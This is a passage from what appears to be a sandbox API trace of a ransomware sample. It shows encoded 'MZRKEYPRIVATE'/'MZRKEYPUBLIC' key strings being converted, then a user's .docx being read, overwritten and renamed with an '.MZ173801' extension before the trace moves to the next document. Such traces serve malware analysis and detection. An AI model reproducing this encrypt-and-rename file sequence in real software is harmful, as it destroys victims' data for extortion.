wqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x3225fac, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0169.540] GetCurrentThreadId () returned 0xab4 [0169.540] GetCurrentThreadId () returned 0xab4 [0169.540] GetCurrentThreadId () returned 0xab4 [0169.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.540] GetCurrentThreadId () returned 0xab4 [0169.541] GetCurrentThreadId () returned 0xab4 [0169.541] GetCurrentThreadId () returned 0xab4 [0169.541] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\m5j0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\m5j0.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.541] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.541] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.541] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x69ba [0169.541] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.541] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a8f70, nNumberOfBytesToRead=0x69ba, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a8f70*, lpNumberOfBytesRead=0x19f74c*=0x69ba, lpOverlapped=0x0) returned 1 [0169.542] CloseHandle (hObject=0x2f8) returned 1 [0169.542] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\m5j0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\m5j0.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.543] WriteFile (in: hFile=0x2f8, lpBuffer=0x24b0fa0*, nNumberOfBytesToWrite=0x69ba, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24b0fa0*, lpNumberOfBytesWritten=0x19f758*=0x69ba, lpOverlapped=0x0) returned 1 [0169.545] CloseHandle (hObject=0x2f8) returned 1 [0169.545] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\m5j0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\m5j0.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\m5j0.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\m5j0.docx.mz173801")) returned 1 [0169.546] GetCurrentThreadId () returned 0xab4 [0169.546] GetCurrentThreadId () returned 0xab4 [0169.546] GetCurrentThreadId () returned 0xab4 [0169.546] GetCurrentThreadId () returned 0xab4 [0169.546] GetCurrentThreadId () returned 0xab4 [0169.546] GetCurrentThreadId () returned 0xab4 [0169.546] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cea2bb0, ftCreationTime.dwHighDateTime=0x1d5e902, ftLastAccessTime.dwLowDateTime=0xfdcaa180, ftLastAccessTime.dwHighDateTime=0x1d5e48b, ftLastWriteTime.dwLowDateTime=0xfdcaa180, ftLastWriteTime.dwHighDateTime=0x1d5e48b, nFileSizeHigh=0x0, nFileSizeLow=0x10fd, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Ng-XMX.doc", cAlternateFileName="")) returned 1 [0169.546] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.546] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.546] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Ng-XMX.doc" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ng-xmx.doc"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cea2bb0, ftCreationTime.dwHighDateTime=0x1d5e902, ftLastAccessTime.dwLowDateTime=0xfdcaa180, ftLastAccessTime.dwHighDateTime=0x1d5e48b, ftLastWriteTime.dwLowDateTime=0xfdcaa180, ftLastWriteTime.dwHighDateTime=0x1d5e48b, nFileSizeHigh=0x0, nFileSizeLow=0x10fd)) returned 1 [0169.546] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Ng-XMX.doc" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ng-xmx.doc")) returned 0x20 [0169.546] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\Ng-XMX.doc", dwFileAttributes=0x80) returned 1 [0169.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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